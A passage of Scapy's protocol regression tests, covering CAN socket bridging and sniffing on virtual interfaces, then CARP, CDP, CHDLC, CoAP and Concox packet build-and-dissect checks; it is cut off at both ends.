data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x10000000, 'can_mask': 0x1fffffff}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: for m in msgs: sock2.send(m) packets = sock1.sniff(timeout=0.1, count=2) assert len(packets) == 2 + bridge and sniff tests = bridge and sniff setup vcan1 package forwarding bashCommand = "/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'" assert 0 == os.system(bashCommand) sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket( bustype='socketcan', channel='vcan0', bitrate=250000) bSock1 = CANSocket( bustype='socketcan', channel='vcan1', bitrate=250000) def pnr(pkt): return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=1) sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) packetsVCan1 = sock1.sniff(timeout=0.5, count=6) assert len(packetsVCan1) == 6 sock1.close() sock0.close() threadBridge.join(timeout=3) assert not threadBridge.is_alive() = bridge and sniff setup vcan0 package forwarding sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=4) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=1) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.5, count=4) assert len(packetsVCan0) == 4 sock0.close() sock1.close() threadBridge.join(timeout=3) assert not threadBridge.is_alive() =bridge and sniff setup vcan0 vcan1 package forwarding both directions sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=10) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=1) sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x30, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.5, count=4) packetsVCan1 = sock1.sniff(timeout=0.5, count=6) assert len(packetsVCan0) == 4 assert len(packetsVCan1) == 6 sock0.close() sock1.close() threadBridge.join(timeout=3) assert not threadBridge.is_alive() =bridge and sniff setup vcan1 package change sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) bridgeStarted = threading.Event() def bridgeWithPackageChangeVCan0ToVCan1(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan0ToVCan1) threadBridge.start() bridgeStarted.wait(timeout=1) sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) packetsVCan1 = sock1.sniff(timeout=0.5, count=6) assert len(packetsVCan1) == 6 sock0.close() sock1.close() threadBridge.join(timeout=3) assert not threadBridge.is_alive() =bridge and sniff setup vcan0 package change sock1 = CANSocket(bustype='socketcan', channel='vcan1') sock0 = CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) bridgeStarted = threading.Event() def bridgeWithPackageChangeVCan1ToVCan0(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=4) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan1ToVCan0) threadBridge.start() bridgeStarted.wait(timeout=1) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.5, count=4) assert len(packetsVCan0) == 4 sock0.close() sock1.close() threadBridge.join(timeout=3) assert not threadBridge.is_alive() =bridge and sniff setup vcan0 and vcan1 package change in both directions sock0 = CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) sock1 = CANSocket(bustype='socketcan', channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) bridgeStarted = threading.Event() def bridgeWithPackageChangeBothDirections(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=10) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeBothDirections) threadBridge.start() bridgeStarted.wait(timeout=1) sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.5, count=4) packetsVCan1 = sock1.sniff(timeout=0.5, count=6) assert len(packetsVCan0) == 4 assert len(packetsVCan1) == 6 sock0.close() sock1.close() threadBridge.join(timeout=3) assert not threadBridge.is_alive() =bridge and sniff setup vcan0 package remove sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') bridgeStarted = threading.Event() def bridgeWithRemovePackageFromVCan0ToVCan1(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): if(pkt.identifier == 0x10020000): pkt = False else: pkt = pkt return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan0ToVCan1) threadBridge.start() bridgeStarted.wait(timeout=1) sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) packetsVCan1 = sock1.sniff(timeout=0.5, count=5) assert len(packetsVCan1) == 5 sock0.close() sock1.close() threadBridge.join(timeout=3) assert not threadBridge.is_alive() =bridge and sniff setup vcan1 package remove sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') bridgeStarted = threading.Event() def bridgeWithRemovePackageFromVCan1ToVCan0(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): if(pkt.identifier == 0x10050000): pkt = False else: pkt = pkt return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=4) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan1ToVCan0) threadBridge.start() bridgeStarted.wait(timeout=1) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.5, count=3) assert len(packetsVCan0) == 3 sock0.close() sock1.close() threadBridge.join(timeout=3) assert not threadBridge.is_alive() =bridge and sniff setup vcan0 and vcan1 package remove both directions sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') bridgeStarted = threading.Event() def bridgeWithRemovePackageInBothDirections(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnrA(pkt): if(pkt.identifier == 0x10020000): pkt = False else: pkt = pkt return pkt def pnrB(pkt): if (pkt.identifier == 0x10050000): pkt = False else: pkt = pkt return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnrA, xfrm21=pnrB, timeout=0.5, started_callback=bridgeStarted.set, count=10) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageInBothDirections) threadBridge.start() bridgeStarted.wait(timeout=1) sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.5, count=3) packetsVCan1 = sock1.sniff(timeout=0.5, count=5) assert len(packetsVCan0) == 3 assert len(packetsVCan1) == 5 threadBridge.join(timeout=3) assert not threadBridge.is_alive() sock0.close() sock1.close() = Delete vcan interfaces ~ needs_root linux vcan_socket if 0 != call(["sudo", "ip" ,"link", "delete", "vcan0"]): raise Exception("vcan0 could not be deleted") if 0 != call(["sudo", "ip" ,"link", "delete", "vcan1"]): raise Exception("vcan1 could not be deleted") ================================================ FILE: test/contrib/carp.uts ================================================ % Regression tests for the avs module + Basic CARP test = Build pkt = Ether()/IP()/CARP() pkt = Ether(raw(pkt)) assert CARP in pkt assert pkt[CARP].chksum assert pkt[CARP].build_hmac_sha1(ip4l=['192.168.0.111']) == b'\xbd\x82\xc7\x8f6\x1a\x0e\xff\xcfl\x14\xa2v\xedW;>ic\xa3' ================================================ FILE: test/contrib/cdp.uts ================================================ #################################### cdp.py ################################## % Regression tests for the cdp module ################################## CDPv2_HDR ################################## + CDP = CDPv2 - Dissection (1) s = b'\x02\xb4\x8c\xfa\x00\x01\x00\x0cmyswitch\x00\x02\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x00\xfd\x00\x03\x00\x13FastEthernet0/1\x00\x04\x00\x08\x00\x00\x00(\x00\x05\x01\x14Cisco Internetwork Operating System Software \nIOS (tm) C2950 Software (C2950-I6K2L2Q4-M), Version 12.1(22)EA14, RELEASE SOFTWARE (fc1)\nTechnical Support: http://www.cisco.com/techsupport\nCopyright (c) 1986-2010 by cisco Systems, Inc.\nCompiled Tue 26-Oct-10 10:35 by nburra\x00\x06\x00\x15cisco WS-C2950-12\x00\x08\x00$\x00\x00\x0c\x01\x12\x00\x00\x00\x00\xff\xff\xff\xff\x01\x02!\xff\x00\x00\x00\x00\x00\x00\x00\x0b\xbe\x18\x9a@\xff\x00\x00\x00\t\x00\x0cMYDOMAIN\x00\n\x00\x06\x00\x01\x00\x0b\x00\x05\x01\x00\x0e\x00\x07\x01\x00\n\x00\x12\x00\x05\x00\x00\x13\x00\x05\x00\x00\x16\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x00\xfd' cdpv2 = CDPv2_HDR(s) assert len(cdpv2) == 450 assert cdpv2.vers == 2 assert cdpv2.ttl == 180 assert cdpv2.cksum == 0x8cfa assert cdpv2.haslayer(CDPMsgDeviceID) assert cdpv2.haslayer(CDPMsgAddr) assert cdpv2.haslayer(CDPAddrRecordIPv4) assert cdpv2.haslayer(CDPMsgPortID) assert cdpv2.haslayer(CDPMsgCapabilities) assert cdpv2.haslayer(CDPMsgSoftwareVersion) assert cdpv2.haslayer(CDPMsgPlatform) assert cdpv2.haslayer(CDPMsgProtoHello) assert cdpv2.haslayer(CDPMsgVTPMgmtDomain) assert cdpv2.haslayer(CDPMsgNativeVLAN) assert cdpv2.haslayer(CDPMsgDuplex) assert cdpv2.haslayer(CDPMsgVoIPVLANReply) assert cdpv2.haslayer(CDPMsgTrustBitmap) assert cdpv2.haslayer(CDPMsgUntrustedPortCoS) assert cdpv2.haslayer(CDPMsgMgmtAddr) assert cdpv2[CDPMsgProtoHello].len == 36 assert cdpv2[CDPMsgProtoHello].oui == 0xc assert cdpv2[CDPMsgProtoHello].protocol_id == 0x112 assert cdpv2[CDPMsgTrustBitmap].type == 0x0012 assert cdpv2[CDPMsgTrustBitmap].len == 5 assert cdpv2[CDPMsgTrustBitmap].trust_bitmap == 0x0 assert cdpv2[CDPMsgUntrustedPortCoS].type == 0x0013 assert cdpv2[CDPMsgUntrustedPortCoS].len == 5 assert cdpv2[CDPMsgUntrustedPortCoS].untrusted_port_cos == 0x0 = CDPv2 - Rebuild (1) cdpv2.cksum = None assert raw(cdpv2) == s = CDPv2 - Dissection (2) s = b'\x02\xb4\xd7\xdb\x00\x01\x00\x13SIP001122334455\x00\x02\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x01!\x00\x03\x00\nPort 1\x00\x04\x00\x08\x00\x00\x00\x10\x00\x05\x00\x10P003-08-2-00\x00\x06\x00\x17Cisco IP Phone 7960\x00\x0f\x00\x08 \x02\x00\x01\x00\x0b\x00\x05\x01\x00\x10\x00\x06\x18\x9c' cdpv2 = CDPv2_HDR(s) assert cdpv2.vers == 2 assert cdpv2.ttl == 180 assert cdpv2.cksum == 0xd7db assert cdpv2.haslayer(CDPMsgDeviceID) assert cdpv2.haslayer(CDPMsgAddr) assert cdpv2.haslayer(CDPAddrRecordIPv4) assert cdpv2.haslayer(CDPMsgPortID) assert cdpv2.haslayer(CDPMsgCapabilities) assert cdpv2.haslayer(CDPMsgSoftwareVersion) assert cdpv2.haslayer(CDPMsgPlatform) assert cdpv2.haslayer(CDPMsgVoIPVLANQuery) assert cdpv2.haslayer(CDPMsgDuplex) assert cdpv2.haslayer(CDPMsgPower) assert cdpv2[CDPMsgVoIPVLANQuery].type == 0x000f assert cdpv2[CDPMsgVoIPVLANQuery].len == 8 assert cdpv2[CDPMsgVoIPVLANQuery].unknown1 == 0x20 assert cdpv2[CDPMsgVoIPVLANQuery].vlan == 512 assert cdpv2[CDPMsgPower].sprintf("%power%") == '6300 mW' = CDPv2 - Rebuild (2) cdpv2.cksum = None s2 = s[:2] + b"\xf3\xf1" + s[4:] assert raw(cdpv2) == s2 = CDPv2 - Complex Packet r = b'\x01\x00\x0c\xcc\xcc\xcc\x11"3DUf\x01\x80\xaa\xaa\x03\x00\x00\x0c \x00\x02\xb4uV\x00\x01\x00\nRouter\x00\x05\x00\x04\x00\x06\x00\x04\x00\x02\x00\x11\x00\x00\x00\x02\x01\x01\xcc\x00\x04\xc0\xa8\x01e\x00\x03\x00\x18GigabitEthernet0/0/1\x00\x04\x00\x08\x00\x00\x00A\x00\x07\x00\t\x14\x00\x00\x00\x18\x00\t\x00\x04\x00\x0b\x00\x05\x01\x00\x16\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x01e' p = Dot3(r) assert CDPMsgPortID in p and CDPMsgIPPrefix in p = CDPChecksum - packet with odd length pkt = CDPv2_HDR(vers=2, ttl=180, msg='123') assert len(pkt) == 7 = CDPv2 - CDPMsgAddr Packet cdp_msg_addr = CDPMsgAddr(addr=[CDPAddrRecordIPv4(), CDPAddrRecordIPv6()]) assert cdp_msg_addr.haslayer(CDPAddrRecordIPv4) assert cdp_msg_addr.haslayer(CDPAddrRecordIPv6) assert len(cdp_msg_addr.addr) == 2 assert raw(cdp_msg_addr)[4:8] == b'\x00\x00\x00\x02' = CDPv2 - CDPMsgPowerRequest and CDPMsgPowerAvailable Packet s = b'\x02\xb4\x39\xfa\x00\x01\x00\x09\x53\x63\x61\x70\x79\x00\x02\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\x7f\x00\x00\x01\x00\x10\x00\x06\x00\x10\x00\x19\x00\x18\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x1a\x00\x14\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00\x07' cdpv2 = CDPv2_HDR(s) assert cdpv2.vers == 2 assert cdpv2.ttl == 180 assert cdpv2.cksum == 0x39fa assert cdpv2.haslayer(CDPMsgDeviceID) assert cdpv2.haslayer(CDPMsgAddr) assert cdpv2.haslayer(CDPMsgPower) assert cdpv2.haslayer(CDPMsgPowerRequest) assert cdpv2.haslayer(CDPMsgPowerAvailable) assert cdpv2[CDPMsgPowerRequest].type == 0x0019 assert cdpv2[CDPMsgPowerRequest].len == 24 assert cdpv2[CDPMsgPowerRequest].req_id == 0 assert cdpv2[CDPMsgPowerRequest].mgmt_id == 0 assert len(cdpv2[CDPMsgPowerRequest].power_requested_list) == 4 assert cdpv2[CDPMsgPowerRequest].power_requested_list == [1, 2, 3, 4] assert cdpv2[CDPMsgPowerAvailable].type == 0x001a assert cdpv2[CDPMsgPowerAvailable].len == 20 assert cdpv2[CDPMsgPowerAvailable].req_id == 0 assert cdpv2[CDPMsgPowerAvailable].mgmt_id == 0 assert len(cdpv2[CDPMsgPowerAvailable].power_available_list) == 3 assert cdpv2[CDPMsgPowerAvailable].power_available_list == [5, 6, 7] ================================================ FILE: test/contrib/chdlc.uts ================================================ % Regression tests for the avs module + Basic AVS test = Default build, storage and dissection pkt = CHDLC()/SLARP() _filepath = get_temp_file(autoext=".pcap") wrpcap(_filepath, pkt) pkt1 = rdpcap(_filepath)[0] assert raw(pkt) == raw(pkt1) assert CHDLC in pkt assert SLARP in pkt try: os.remove(_filepath) except Exception: pass = Build request pkt = CHDLC()/SLARP(type=0, address="192.168.0.131", mask="255.255.0.0") pkt = CHDLC(raw(pkt)) assert pkt[SLARP].address == "192.168.0.131" = Build keepalive pkt = CHDLC()/SLARP(type=2, mysequence=123, yoursequence=123456789, reliability=555) pkt = CHDLC(raw(pkt)) assert pkt[SLARP].yoursequence == 123456789 ================================================ FILE: test/contrib/coap.uts ================================================ % CoAP layer test campaign + Syntax check = Import the CoAP layer from scapy.contrib.coap import * + Test CoAP = CoAP default values assert raw(CoAP()) == b'\x40\x00\x00\x00' = Token length calculation p = CoAP(token='foobar') assert CoAP(raw(p)).tkl == 6 = CON GET dissect p = CoAP(b'\x40\x01\xd9\xe1\xbb\x2e\x77\x65\x6c\x6c\x2d\x6b\x6e\x6f\x77\x6e\x04\x63\x6f\x72\x65') assert p.code == 1 assert p.ver == 1 assert p.tkl == 0 assert p.tkl == 0 assert p.msg_id == 55777 assert p.token == b'' assert p.type == 0 assert p.options == [('Uri-Path', b'.well-known'), ('Uri-Path', b'core')] = Extended option delta assert raw(CoAP(options=[("Uri-Query", "query")])) == b'\x40\x00\x00\x00\xd5\x02\x71\x75\x65\x72\x79' = Extended option length assert raw(CoAP(options=[("Location-Path", 'x' * 280)])) == b'\x40\x00\x00\x00\x8e\x00\x0b' + b'\x78' * 280 assert len(CoAP(b'\x40\x00\x00\x00\x8e\x00\x0b' + b'\x78' * 280 + b'\xff').options[0][1]) == 280 = Options should be ordered by option number assert raw(CoAP(options=[("Uri-Query", "b"),("Uri-Path","a")])) == b'\x40\x00\x00\x00\xb1\x61\x41\x62' = Options of the same type should not be reordered assert raw(CoAP(options=[("Uri-Path", "b"),("Uri-Path","a")])) == b'\x40\x00\x00\x00\xb1\x62\x01\x61' + Test layer binding = Destination port p = UDP()/CoAP() assert p[UDP].dport == 5683 = Source port s = b'\x16\x33\xa0\xa4\x00\x78\xfe\x8b\x60\x45\xd9\xe1\xc1\x28\xff\x3c\x2f\x3e\x3b\x74\x69\x74\x6c\x65\x3d\x22\x47\x65' \ b'\x6e\x65\x72\x61\x6c\x20\x49\x6e\x66\x6f\x22\x3b\x63\x74\x3d\x30\x2c\x3c\x2f\x74\x69\x6d\x65\x3e\x3b\x69\x66\x3d' \ b'\x22\x63\x6c\x6f\x63\x6b\x22\x3b\x72\x74\x3d\x22\x54\x69\x63\x6b\x73\x22\x3b\x74\x69\x74\x6c\x65\x3d\x22\x49\x6e' \ b'\x74\x65\x72\x6e\x61\x6c\x20\x43\x6c\x6f\x63\x6b\x22\x3b\x63\x74\x3d\x30\x3b\x6f\x62\x73\x2c\x3c\x2f\x61\x73\x79' \ b'\x6e\x63\x3e\x3b\x63\x74\x3d\x30' assert CoAP in UDP(s) = building with a text/plain payload p = CoAP(ver = 1, type = 0, code = 0x42, msg_id = 0xface, options=[("Content-Format", b"\x00")], paymark = b"\xff") p /= Raw(b"\xde\xad\xbe\xef") assert raw(p) == b'\x40\x42\xfa\xce\xc1\x00\xff\xde\xad\xbe\xef' = dissection with a text/plain payload p = CoAP(raw(p)) assert p.ver == 1 assert p.type == 0 assert p.code == 0x42 assert p.msg_id == 0xface assert isinstance(p.payload, Raw) assert p.payload.load == b'\xde\xad\xbe\xef' ================================================ FILE: test/contrib/concox.uts ================================================ # Concox CRX1 unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('concox')" -t test/contrib/concox.uts + Concox CRX1 = Basic tests r = raw(CRX1New(default_packet_length=5, default_packet_content=CRX1NewPacketContent())) assert r == b'xx\x05\x12\x00\x00\x00\x00\r\n' c = CRX1New(r) assert CRX1NewPacketContent in c r = raw(CRX1New(start_bit=0x7979, extended_packet_length=5, extended_packet_content=CRX1NewPacketContent())) assert r == b'yy\x00\x05\x12\x00\x00\x00\x00\r\n' c = CRX1New(r) assert CRX1NewPacketContent in c p = CRX1NewPacketContent(b'\x01\x41\x42\x43\x44\x45\x46\x47\x48\x02\x03\x04\x05') assert p.terminal_id == b'4142434445464748' p = CRX1NewPacketContent(b'\x12\x41\x42\x43\x44\x45\x46\x47\x48\x02\x03\x04\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04') assert p.crc == 0x304 and p.latitude ================================================ FILE: test/contrib/diameter.uts ================================================ # UTscapy syntax is explained here: 